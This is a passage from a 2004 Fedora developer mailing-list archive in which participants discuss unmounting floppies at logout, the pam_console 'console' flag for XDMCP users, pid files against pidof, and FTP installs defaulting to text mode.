-------------- * Fri Oct 01 2004 Radek Vokal 2.0.1-5 - vsftpd under xinetd reads its config file (#134314) From rdieter at math.unl.edu Mon Oct 4 12:31:25 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Mon, 04 Oct 2004 07:31:25 -0500 Subject: rawhide report: 20041004 changes In-Reply-To: <200410041228.i94CSxC30253@porkchop.devel.redhat.com> References: <200410041228.i94CSxC30253@porkchop.devel.redhat.com> Message-ID: <4161429D.3050103@math.unl.edu> Build System wrote: > HelixPlayer-1.0.1.gold-1 > ------------------------ > * Sun Oct 03 2004 Colin Walters 1:1.0.1.gold-1 > - Update to 1.0.1 > - Add epoch since 1.0.1.gold is older than 1.0.gold Why not just use sane version-release tags instead of relying on Epoch inflation? -- Rex From walters at redhat.com Mon Oct 4 13:33:26 2004 From: walters at redhat.com (Colin Walters) Date: Mon, 04 Oct 2004 09:33:26 -0400 Subject: rawhide report: 20041004 changes In-Reply-To: <4161429D.3050103@math.unl.edu> References: <200410041228.i94CSxC30253@porkchop.devel.redhat.com> <4161429D.3050103@math.unl.edu> Message-ID: <1096896807.15534.51.camel@nexus.verbum.private> On Mon, 2004-10-04 at 07:31 -0500, Rex Dieter wrote: > Build System wrote: > > > HelixPlayer-1.0.1.gold-1 > > ------------------------ > > * Sun Oct 03 2004 Colin Walters 1:1.0.1.gold-1 > > - Update to 1.0.1 > > - Add epoch since 1.0.1.gold is older than 1.0.gold > > Why not just use sane version-release tags instead of relying on Epoch > inflation? Yeah, I will be more careful in the future. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kyrre at solution-forge.net Mon Oct 4 13:35:41 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 15:35:41 +0200 Subject: RFE: More on mounting + a question about the "console" flag Message-ID: <1096896941.2723.9.camel@kyrre> While there are so much chattering about automounting, security considerations of the new fstab "console" tag etc., i have as a systems administrator withnessed one thing - with something as old as floppyes. People mount up the floppy (acctually, they have no clue that they are mounting it, they just click the nice little "floppy" icon), get their files, pull out the floppy (without umounting), and logs out. Then, 2 minutes later, another user logs in, pulls up his/her floppy, and... the floppy is mounted. Cant get it umounted, and can't mount his/her floppy. Grr... Reason that there is a problem with floppyes and not other removable storage, is of cource that floppyes is the only removable storage that the user can pull out without the system gets the message - if you pull an usb mass storage plug, it gets umounted (and it is mounted "sync" so you probably won't loose data either). If you try to eject a cd, it wont come out - untill you umount it (this is really frustrating to new users as well - the "eject" button should umount the cd and eject it, and if it is buisy, tell dbus to tell gnome to display that popup we all loved in fc1) But what if all volumes that the user mounted when he/she was logged on, automatically got umounted when the user who mounted it logs out? That would solve it. About the "console" flag: would a user sitting on an XDMCP terminal be considered a console user or not? How is it determined if he/she is a console user or not? Because someone sitting on an xdmcp terminal shouldn't be considered "console"... Kyrre From rdieter at math.unl.edu Mon Oct 4 13:41:45 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Mon, 04 Oct 2004 08:41:45 -0500 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096896941.2723.9.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> Message-ID: <41615319.8000509@math.unl.edu> Kyrre Ness Sjobak wrote: > People mount up the floppy (acctually, they have no clue that they are > mounting it, they just click the nice little "floppy" icon), get their > files, pull out the floppy (without umounting), and logs out. > > Then, 2 minutes later, another user logs in, pulls up his/her floppy, > and... the floppy is mounted. Cant get it umounted, and can't mount > his/her floppy. Grr... I've oftentimes setup machines to use the automounter with a rediculously low timeout value (say 6-30 seconds) for cases/users like this. -- Rex From notting at redhat.com Mon Oct 4 13:45:45 2004 From: notting at redhat.com (Bill Nottingham) Date: Mon, 4 Oct 2004 09:45:45 -0400 Subject: /var/run/directory/ In-Reply-To: <200410041515.49657.russell@coker.com.au> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <1096816085.15534.12.camel@nexus.verbum.private> <20041004035037.GD7627@nostromo.devel.redhat.com> <200410041515.49657.russell@coker.com.au> Message-ID: <20041004134545.GA16343@nostromo.devel.redhat.com> Russell Coker (russell at coker.com.au) said: > > While creating a new problem for finding pid files... do you go > > by the service name? The server name? Something else? > > How would the problem be any greater than it is right now? Right now it's basename of the process. > In terms of what > name to use (service, server, or something else) it's exactly the same issue > as we have at the moment with /var/run/something.pid. If you move to this new thing, do you do one dir per daemon? One per process? Something else? Bill From walters at redhat.com Mon Oct 4 13:49:14 2004 From: walters at redhat.com (Colin Walters) Date: Mon, 04 Oct 2004 09:49:14 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096896941.2723.9.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> Message-ID: <1096897754.15534.57.camel@nexus.verbum.private> On Mon, 2004-10-04 at 15:35 +0200, Kyrre Ness Sjobak wrote: > Then, 2 minutes later, another user logs in, pulls up his/her floppy, > and... the floppy is mounted. Cant get it umounted, and can't mount > his/her floppy. Grr... Yeah, it's a perennial problem. I guess people are trying to solve it with user-space proxy filesystems and the like. Not sure how mature they are. > But what if all volumes that the user mounted when he/she was logged on, > automatically got umounted when the user who mounted it logs out? That > would solve it. Hmmm. The argument against that I guess is that the user could want it to stay mounted for one of their cron jobs or something. Maybe that's sufficiently obscure that we could ignore it. But it still doesn't solve the case of a user just ejecting the disk before logout. > About the "console" flag: would a user sitting on an XDMCP terminal be > considered a console user or not? No. > How is it determined if he/she is a > console user or not? Local Linux console login or local GDM. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From harald at redhat.com Mon Oct 4 13:51:28 2004 From: harald at redhat.com (Harald Hoyer) Date: Mon, 04 Oct 2004 15:51:28 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096896941.2723.9.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> Message-ID: <41615560.8030905@redhat.com> Kyrre Ness Sjobak wrote: > While there are so much chattering about automounting, security > considerations of the new fstab "console" tag etc., i have as a systems > administrator withnessed one thing - with something as old as floppyes. > > People mount up the floppy (acctually, they have no clue that they are > mounting it, they just click the nice little "floppy" icon), get their > files, pull out the floppy (without umounting), and logs out. > > Then, 2 minutes later, another user logs in, pulls up his/her floppy, > and... the floppy is mounted. Cant get it umounted, and can't mount > his/her floppy. Grr... > > Reason that there is a problem with floppyes and not other removable > storage, is of cource that floppyes is the only removable storage that > the user can pull out without the system gets the message - if you pull > an usb mass storage plug, it gets umounted (and it is mounted "sync" so > you probably won't loose data either). If you try to eject a cd, it wont > come out - untill you umount it (this is really frustrating to new users > as well - the "eject" button should umount the cd and eject it, and if > it is buisy, tell dbus to tell gnome to display that popup we all loved > in fc1) > > But what if all volumes that the user mounted when he/she was logged on, > automatically got umounted when the user who mounted it logs out? That > would solve it. > > About the "console" flag: would a user sitting on an XDMCP terminal be > considered a console user or not? How is it determined if he/she is a > console user or not? Because someone sitting on an xdmcp terminal > shouldn't be considered "console"... > > Kyrre > Maybe the easiest would be to patch the Gnome/KDE Desktop file-io with floppy devices to mount/umount after each action (like the mtools). From jspaleta at gmail.com Mon Oct 4 13:56:16 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 4 Oct 2004 09:56:16 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096896941.2723.9.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> Message-ID: <604aa7910410040656f92a57f@mail.gmail.com> On Mon, 04 Oct 2004 15:35:41 +0200, Kyrre Ness Sjobak wrote: > About the "console" flag: would a user sitting on an XDMCP terminal be > considered a console user or not? How is it determined if he/she is a > console user or not? Because someone sitting on an xdmcp terminal > shouldn't be considered "console"... I strongly suggest you read over the system documentation on how pam_console works and the associated configuration files in an effort to understand how things are configured by default. My limited understanding of the default situations is that remote xdmcp connections are not considered 'console'. But don't take my word for it, i haven't gotten around to testing xdmcp during fc3 testing yet. If you are concerned I encourage you to test the remote xdmcp connection case and make sure the defaults are not configured to set the xdmcp user as console owner. Here's a hint the files in /var/run/console/ are particularly useful to watch, to figure out who is the current 'console' user. -jef From mailinglists at andreas-mueller.com Mon Oct 4 13:58:32 2004 From: mailinglists at andreas-mueller.com (Andreas Mueller) Date: Mon, 4 Oct 2004 15:58:32 +0200 Subject: rawhide report: 20041004 changes In-Reply-To: <200410041228.i94CSxC30253@porkchop.devel.redhat.com> References: <200410041228.i94CSxC30253@porkchop.devel.redhat.com> Message-ID: <200410041558.32958.mailinglists@andreas-mueller.com> Build System wrote: > mod_perl-1.99_16-3 > ------------------ > * Sun Oct 03 2004 Chip Turner 1.99_16-3 > > - update filter-depends.sh for Module::Build and Data::Flow Both modules are missing but mod_perl requires them. Regards, Andreas From kyrre at solution-forge.net Mon Oct 4 14:00:33 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 16:00:33 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096897754.15534.57.camel@nexus.verbum.private> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> Message-ID: <1096898433.2723.21.camel@kyrre> man, 04.10.2004 kl. 15.49 skrev Colin Walters: > On Mon, 2004-10-04 at 15:35 +0200, Kyrre Ness Sjobak wrote: > > > Then, 2 minutes later, another user logs in, pulls up his/her floppy, > > and... the floppy is mounted. Cant get it umounted, and can't mount > > his/her floppy. Grr... > > Yeah, it's a perennial problem. I guess people are trying to solve it > with user-space proxy filesystems and the like. Not sure how mature > they are. > Sure. Think KDE does that. > > But what if all volumes that the user mounted when he/she was logged on, > > automatically got umounted when the user who mounted it logs out? That > > would solve it. > > Hmmm. The argument against that I guess is that the user could want it > to stay mounted for one of their cron jobs or something. Maybe that's > sufficiently obscure that we could ignore it. But it still doesn't > solve the case of a user just ejecting the disk before logout. > That is just to obscure. You dont run cron jobs on a client off removable media. You just dont do that. But shure, make it possible to turn back on if neccesary. > > About the "console" flag: would a user sitting on an XDMCP terminal be > > considered a console user or not? > > No. > Good. Then we can finaly make removable media mountable on our thin-client-server. (today only root can do that) > > How is it determined if he/she is a > > console user or not? > > Local Linux console login or local GDM. Sound good But what happens if you log out with "control-alt-backspace"? Iv'e seen prosesses survive that... (and i have a certain thin-client-server, which has people which logged on in august, even if they certainly isn't logged on today...) From cmadams at hiwaay.net Mon Oct 4 14:23:52 2004 From: cmadams at hiwaay.net (Chris Adams) Date: Mon, 4 Oct 2004 09:23:52 -0500 Subject: /var/run/directory/ In-Reply-To: <4160DE09.73F7F7DC@jwz.org> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <1096816085.15534.12.camel@nexus.verbum.private> <20041004035037.GD7627@nostromo.devel.redhat.com> <200410041515.49657.russell@coker.com.au> <4160DE09.73F7F7DC@jwz.org> Message-ID: <20041004142352.GA990709@hiwaay.net> Once upon a time, Jamie Zawinski said: > Maybe this is a dumb question, but what's the point of pid files, > anyway? Are they used by anything other than the init.d scripts? > Why not just use /sbin/pidof instead? Maybe because it cannot work right? In a multi-user system, there is nothing that prevents a user from creating something that calls itself "sshd", "sendmail", "xinetd", etc. that pidof will see. Also, if you want to restart a service that forks children (like sshd and sendmail), you generally don't want to kill all the children as well. The only way to know which process is the master is to look for a PID file. I opened a Bugzilla requesting enhancement to the init.d functions a couple of years ago because of this: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=63440 -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From kyrre at solution-forge.net Mon Oct 4 14:26:16 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 16:26:16 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <41615560.8030905@redhat.com> References: <1096896941.2723.9.camel@kyrre> <41615560.8030905@redhat.com> Message-ID: <1096899976.2723.34.camel@kyrre> It sometimes takes a helluva lot of time to mount a vfat floppy... Besides, it would still be better to do a "forced" umount on logout (so it would work even if the disc isn't there/still active progs in the path - just kill'em) man, 04.10.2004 kl. 15.51 skrev Harald Hoyer: > Kyrre Ness Sjobak wrote: > > While there are so much chattering about automounting, security > > considerations of the new fstab "console" tag etc., i have as a systems > > administrator withnessed one thing - with something as old as floppyes. > > > > People mount up the floppy (acctually, they have no clue that they are > > mounting it, they just click the nice little "floppy" icon), get their > > files, pull out the floppy (without umounting), and logs out. > > > > Then, 2 minutes later, another user logs in, pulls up his/her floppy, > > and... the floppy is mounted. Cant get it umounted, and can't mount > > his/her floppy. Grr... > > > > Reason that there is a problem with floppyes and not other removable > > storage, is of cource that floppyes is the only removable storage that > > the user can pull out without the system gets the message - if you pull > > an usb mass storage plug, it gets umounted (and it is mounted "sync" so > > you probably won't loose data either). If you try to eject a cd, it wont > > come out - untill you umount it (this is really frustrating to new users > > as well - the "eject" button should umount the cd and eject it, and if > > it is buisy, tell dbus to tell gnome to display that popup we all loved > > in fc1) > > > > But what if all volumes that the user mounted when he/she was logged on, > > automatically got umounted when the user who mounted it logs out? That > > would solve it. > > > > About the "console" flag: would a user sitting on an XDMCP terminal be > > considered a console user or not? How is it determined if he/she is a > > console user or not? Because someone sitting on an xdmcp terminal > > shouldn't be considered "console"... > > > > Kyrre > > > > Maybe the easiest would be to patch the Gnome/KDE Desktop file-io with floppy devices to mount/umount after each action (like the mtools). From cra at WPI.EDU Mon Oct 4 14:28:31 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Mon, 4 Oct 2004 10:28:31 -0400 Subject: graphical FTP install Message-ID: <20041004142831.GL17571@angus.ind.WPI.EDU> Why do FTP installs still default to text mode? I noticed that I can start a graphical FTP install with a boot parameter "graphical". Considering that the text install can't do LVM, I think it is important that we default to graphical. From mailinglists at andreas-mueller.com Mon Oct 4 14:31:56 2004 From: mailinglists at andreas-mueller.com (Andreas Mueller) Date: Mon, 4 Oct 2004 16:31:56 +0200 Subject: rawhide report: 20041004 changes In-Reply-To: <200410041558.32958.mailinglists@andreas-mueller.com> References: <200410041228.i94CSxC30253@porkchop.devel.redhat.com> <200410041558.32958.mailinglists@andreas-mueller.com> Message-ID: <200410041631.56518.mailinglists@andreas-mueller.com> Andreas Mueller wrote: > Build System wrote: > > mod_perl-1.99_16-3 > > ------------------ > > * Sun Oct 03 2004 Chip Turner 1.99_16-3 > > > > - update filter-depends.sh for Module::Build and Data::Flow > > Both modules are missing but mod_perl requires them. Sorry for the noise, it seems that my mirror didn't have the new package. It is working now. Regards, Andreas From walters at redhat.com Mon Oct 4 14:34:43 2004 From: walters at redhat.com (Colin Walters) Date: Mon, 04 Oct 2004 10:34:43 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096898433.2723.21.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> <1096898433.2723.21.camel@kyrre> Message-ID: <1096900483.15534.80.camel@nexus.verbum.private> On Mon, 2004-10-04 at 16:00 +0200, Kyrre Ness Sjobak wrote: > man, 04.10.2004 kl. 15.49 skrev Colin Walters: > > On Mon, 2004-10-04 at 15:35 +0200, Kyrre Ness Sjobak wrote: > > > > > Then, 2 minutes later, another user logs in, pulls up his/her floppy, > > > and... the floppy is mounted. Cant get it umounted, and can't mount > > > his/her floppy. Grr... > > > > Yeah, it's a perennial problem. I guess people are trying to solve it > > with user-space proxy filesystems and the like. Not sure how mature > > they are. > > > > Sure. Think KDE does that. Like at the kio layer or something? So all I/O in KDE goes through a daemon? Or just when it's a floppy drive? > That is just to obscure. You dont run cron jobs on a client off > removable media. You just dont do that. Actually I do for my backups :) > But what happens if you log out with "control-alt-backspace"? Iv'e seen > prosesses survive that... Good question - If gdm doesn't handle that it's really a bug. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From alan at redhat.com Mon Oct 4 14:36:27 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 4 Oct 2004 10:36:27 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096896941.2723.9.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> Message-ID: <20041004143627.GA20972@devserv.devel.redhat.com> On Mon, Oct 04, 2004 at 03:35:41PM +0200, Kyrre Ness Sjobak wrote: > But what if all volumes that the user mounted when he/she was logged on, > automatically got umounted when the user who mounted it logs out? That > would solve it. That sounds very sensible - please bugzilla it as an RFE > About the "console" flag: would a user sitting on an XDMCP terminal be > considered a console user or not? How is it determined if he/she is a > console user or not? Because someone sitting on an xdmcp terminal > shouldn't be considered "console"... An xdmcp session is not considered "console". VNC access to the console session (shared access) might be. Handling devices on thin clients (often nbd exports of the client cdrom drive) is another matter again From katzj at redhat.com Mon Oct 4 14:37:36 2004 From: katzj at redhat.com (Jeremy Katz) Date: Mon, 04 Oct 2004 10:37:36 -0400 Subject: graphical FTP install In-Reply-To: <20041004142831.GL17571@angus.ind.WPI.EDU> References: <20041004142831.GL17571@angus.ind.WPI.EDU> Message-ID: <1096900656.7353.6.camel@bree.local.net> On Mon, 2004-10-04 at 10:28 -0400, Charles R. Anderson wrote: > Why do FTP installs still default to text mode? I noticed that I can > start a graphical FTP install with a boot parameter "graphical". > Considering that the text install can't do LVM, I think it is > important that we default to graphical. They default to graphical if you have "enough" RAM (> 128 megs, iirc) to keep the stage2.img in RAM and do a successful graphical install. Otherwise, we fall back to text mode. Also, note that there is (minimal) LVM editing in text mode now. Jeremy From kyrre at solution-forge.net Mon Oct 4 14:41:34 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 16:41:34 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <604aa7910410040656f92a57f@mail.gmail.com> References: <1096896941.2723.9.camel@kyrre> <604aa7910410040656f92a57f@mail.gmail.com> Message-ID: <1096900894.2723.50.camel@kyrre> I shall do that anyway - to ensure that my fc2 "thin" clients will work without reinstalling... (they once was fc1 thin clients) (the point of running a "normal" distro on them is to make it possible to plug'em in anywhere on the net without modifying the main DHCP server. Which is something i am not allowed to do (first thing i would do is to get a proper DHCPD and DNS - windows server 2000 dns sucks beyond anything. It cant even resolve all domain names... man, 04.10.2004 kl. 15.56 skrev Jeff Spaleta: > On Mon, 04 Oct 2004 15:35:41 +0200, Kyrre Ness Sjobak > wrote: > > About the "console" flag: would a user sitting on an XDMCP terminal be > > considered a console user or not? How is it determined if he/she is a > > console user or not? Because someone sitting on an xdmcp terminal > > shouldn't be considered "console"... > > I strongly suggest you read over the system documentation on how > pam_console works and the associated configuration files in an effort > to understand how things are configured by default. My limited > understanding of the default situations is that remote xdmcp > connections are not considered 'console'. But don't take my word for > it, i haven't gotten around to testing xdmcp during fc3 testing yet. > If you are concerned I encourage you to test the remote xdmcp > connection case and make sure the defaults are not configured to set > the xdmcp user as console owner. Here's a hint the files in > /var/run/console/ are particularly useful to watch, to figure out who > is the current 'console' user. > > -jef From cra at WPI.EDU Mon Oct 4 14:44:20 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Mon, 4 Oct 2004 10:44:20 -0400 Subject: graphical FTP install In-Reply-To: <1096900656.7353.6.camel@bree.local.net> References: <20041004142831.GL17571@angus.ind.WPI.EDU> <1096900656.7353.6.camel@bree.local.net> Message-ID: <20041004144420.GM17571@angus.ind.WPI.EDU> On Mon, Oct 04, 2004 at 10:37:36AM -0400, Jeremy Katz wrote: > They default to graphical if you have "enough" RAM (> 128 megs, iirc) to > keep the stage2.img in RAM and do a successful graphical install. > Otherwise, we fall back to text mode. > Also, note that there is (minimal) LVM editing in text mode now. I just did an FTP install on a 512MB system, and it still defaulted to text. I needed to delete all LVM stuff and start over, and I wasn't able to do that from text mode. "graphical" boot worked fine. From kyrre at solution-forge.net Mon Oct 4 14:45:37 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 16:45:37 +0200 Subject: graphical FTP install In-Reply-To: <20041004142831.GL17571@angus.ind.WPI.EDU> References: <20041004142831.GL17571@angus.ind.WPI.EDU> Message-ID: <1096901137.27934.0.camel@kyrre> man, 04.10.2004 kl. 16.28 skrev Charles R. Anderson: > Why do FTP installs still default to text mode? I noticed that I can > start a graphical FTP install with a boot parameter "graphical". > Considering that the text install can't do LVM, I think it is > important that we default to graphical. Or fix LVM. But yes, i agree From kyrre at solution-forge.net Mon Oct 4 14:49:32 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 16:49:32 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <20041004143627.GA20972@devserv.devel.redhat.com> References: <1096896941.2723.9.camel@kyrre> <20041004143627.GA20972@devserv.devel.redhat.com> Message-ID: <1096901371.27934.7.camel@kyrre> man, 04.10.2004 kl. 16.36 skrev Alan Cox: > On Mon, Oct 04, 2004 at 03:35:41PM +0200, Kyrre Ness Sjobak wrote: > > But what if all volumes that the user mounted when he/she was logged on, > > automatically got umounted when the user who mounted it logs out? That > > would solve it. > > That sounds very sensible - please bugzilla it as an RFE > Shall do - but where? > > About the "console" flag: would a user sitting on an XDMCP terminal be > > considered a console user or not? How is it determined if he/she is a > > console user or not? Because someone sitting on an xdmcp terminal > > shouldn't be considered "console"... > > An xdmcp session is not considered "console". VNC access to the console > session (shared access) might be. > > Handling devices on thin clients (often nbd exports of the client cdrom > drive) is another matter again That would be cool - if a thin client could export its floppy (device, not mountpoint?) to the thin-client server. Same goes to sound - but does the loginscripts properly setup ESD? Kyrre From redhat at olen.net Mon Oct 4 14:55:35 2004 From: redhat at olen.net (Ola Thoresen) Date: Mon, 4 Oct 2004 14:55:35 +0000 (UTC) Subject: RFE: More on mounting + a question about the "console" flag References: <1096896941.2723.9.camel@kyrre> <1096900483.15534.80.camel@nexus.verbum.private> Message-ID: >> That is just to obscure. You dont run cron jobs on a client off >> removable media. You just dont do that. > > Actually I do for my backups :) > AOL. With todays sizes and prizes of removable storage, it really makes much more sense to backup to a 300GB fast, easy to install and cheap FireWire-disk, than to a slow and expensive tapedrive. =;-) Most of the time this is probably done as root, but I guess there still might be situations where one wants to run such a job as another user. Rgds. Ola Thoresen From kyrre at solution-forge.net Mon Oct 4 14:54:31 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 16:54:31 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096900483.15534.80.camel@nexus.verbum.private> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> <1096898433.2723.21.camel@kyrre> <1096900483.15534.80.camel@nexus.verbum.private> Message-ID: <1096901671.27934.17.camel@kyrre> man, 04.10.2004 kl. 16.34 skrev Colin Walters: > On Mon, 2004-10-04 at 16:00 +0200, Kyrre Ness Sjobak wrote: > > man, 04.10.2004 kl. 15.49 skrev Colin Walters: > > > On Mon, 2004-10-04 at 15:35 +0200, Kyrre Ness Sjobak wrote: > > > > > > > Then, 2 minutes later, another user logs in, pulls up his/her floppy, > > > > and... the floppy is mounted. Cant get it umounted, and can't mount > > > > his/her floppy. Grr... > > > > > > Yeah, it's a perennial problem. I guess people are trying to solve it > > > with user-space proxy filesystems and the like. Not sure how mature > > > they are. > > > > > > > Sure. Think KDE does that. > > Like at the kio layer or something? So all I/O in KDE goes through a > daemon? Or just when it's a floppy drive? > > > That is just to obscure. You dont run cron jobs on a client off > > removable media. You just dont do that. > > Actually I do for my backups :) Hmm... Okay. I get it. But still - lets make this configurable, right? And what kind of enviroment are you backing up from, to what media? From which user? > > > But what happens if you log out with "control-alt-backspace"? Iv'e seen > > prosesses survive that... > > Good question - If gdm doesn't handle that it's really a bug. > > > ______________________________________________________________________ > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From alan at redhat.com Mon Oct 4 14:58:41 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 4 Oct 2004 10:58:41 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096901371.27934.7.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> <20041004143627.GA20972@devserv.devel.redhat.com> <1096901371.27934.7.camel@kyrre> Message-ID: <20041004145841.GA2737@devserv.devel.redhat.com> On Mon, Oct 04, 2004 at 04:49:32PM +0200, Kyrre Ness Sjobak wrote: > That would be cool - if a thin client could export its floppy (device, > not mountpoint?) to the thin-client server. Same goes to sound - but > does the loginscripts properly setup ESD? Our default ESD setup doesn't but then ESD stands for ESD Should Die 8). ESD does support this but getting it working with ssh tunnels is pretty horrid From kyrre at solution-forge.net Mon Oct 4 14:58:53 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 16:58:53 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096900483.15534.80.camel@nexus.verbum.private> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> <1096898433.2723.21.camel@kyrre> <1096900483.15534.80.camel@nexus.verbum.private> Message-ID: <1096901933.27934.22.camel@kyrre> man, 04.10.2004 kl. 16.34 skrev Colin Walters: > On Mon, 2004-10-04 at 16:00 +0200, Kyrre Ness Sjobak wrote: > > man, 04.10.2004 kl. 15.49 skrev Colin Walters: > > > On Mon, 2004-10-04 at 15:35 +0200, Kyrre Ness Sjobak wrote: > > > > > > > Then, 2 minutes later, another user logs in, pulls up his/her floppy, > > > > and... the floppy is mounted. Cant get it umounted, and can't mount > > > > his/her floppy. Grr... > > > > > > Yeah, it's a perennial problem. I guess people are trying to solve it > > > with user-space proxy filesystems and the like. Not sure how mature > > > they are. > > > > > > > Sure. Think KDE does that. > > Like at the kio layer or something? So all I/O in KDE goes through a > daemon? Or just when it's a floppy drive? > Through the KIO layer. There is (at least i think there is) a client called "floppy:/". Just open the KDE "open file" dialog, and you will find it. BTW i'm a gnome fan so i really shouldn't know this. But somehow i do... The reason for me to have konquerror installed (hey, gotta have qt anyway, so many progs need it, btw KDE is a good backup) is fish://... I love that. Why isn't there such a thing for GNOME? :( > > That is just to obscure. You dont run cron jobs on a client off > > removable media. You just dont do that. > > Actually I do for my backups :) > > > But what happens if you log out with "control-alt-backspace"? Iv'e seen > > prosesses survive that... > > Good question - If gdm doesn't handle that it's really a bug. > > > ______________________________________________________________________ > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From kashif at linuxcraft.co.uk Mon Oct 4 15:04:21 2004 From: kashif at linuxcraft.co.uk (Kashif Ali) Date: Mon, 04 Oct 2004 16:04:21 +0100 Subject: Bonding In-Reply-To: <1096901933.27934.22.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> <1096898433.2723.21.camel@kyrre> <1096900483.15534.80.camel@nexus.verbum.private> <1096901933.27934.22.camel@kyrre> Message-ID: <1096902261.11512.1.camel@skynet.linuxcraft.co.uk> hi, i am trying to set up bonding to have NIC redundancy, i have set it up to work the only problem is that the NIC are flooding the cisco switch with it MAC address?? figthing for the port, does anyone know a fix for this? Kashif From kyrre at solution-forge.net Mon Oct 4 15:05:49 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 17:05:49 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <20041004145841.GA2737@devserv.devel.redhat.com> References: <1096896941.2723.9.camel@kyrre> <20041004143627.GA20972@devserv.devel.redhat.com> <1096901371.27934.7.camel@kyrre> <20041004145841.GA2737@devserv.devel.redhat.com> Message-ID: <1096902348.27934.30.camel@kyrre> man, 04.10.2004 kl. 16.58 skrev Alan Cox: > On Mon, Oct 04, 2004 at 04:49:32PM +0200, Kyrre Ness Sjobak wrote: > > That would be cool - if a thin client could export its floppy (device, > > not mountpoint?) to the thin-client server. Same goes to sound - but > > does the loginscripts properly setup ESD? > > Our default ESD setup doesn't but then ESD stands for ESD Should Die 8). > ESD does support this but getting it working with ssh tunnels is pretty horrid I like ESD... At least i did under OSS. Nowadays ALSA does the mixing, so... But (having resently heard from another admin, an i agree) multimedia (and removable storage) is really the only reason to avoid thin clients - exept that, it rocks! (if i just could have quake 3 and removable storage on a (purpose-built) thin client, my main box would happen to be in the basement in less that 10 minutes - no noise, bootup time=time for an LCD to start (less than one secound), little desktop real estate used... ahh. Mac's new shiny litle toy: mwah hah hah luser!) Btw. in most enviroments, XDMCP runs *without* ssh, right? And i *still* wonder where to file that RFE. Which component? Kyrre From notting at redhat.com Mon Oct 4 15:09:15 2004 From: notting at redhat.com (Bill Nottingham) Date: Mon, 4 Oct 2004 11:09:15 -0400 Subject: /var/run/directory/ In-Reply-To: <200410041730.41021.russell@coker.com.au> References: <200410020405.28189.russell@coker.com.au> <20041002031853.GA3869@nostromo.devel.redhat.com> <20041002043243.GA4121@nostromo.devel.redhat.com> <200410041730.41021.russell@coker.com.au> Message-ID: <20041004150915.GC8423@nostromo.devel.redhat.com> Russell Coker (russell at coker.com.au) said: > Below is the relevant section of the FHS. It says that programs which use > more than one file are encouraged to use a sub-directory (IE Sendmail). > Doing the same for programs which only have a single file is not a major > break. It says that pid files *must* be placed in /var/run, and that subdirectories can be used for other process data, as I'm reading it. Bill From kyrre at solution-forge.net Mon Oct 4 15:08:23 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 17:08:23 +0200 Subject: Bonding - please create a new thread In-Reply-To: <1096902261.11512.1.camel@skynet.linuxcraft.co.uk> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> 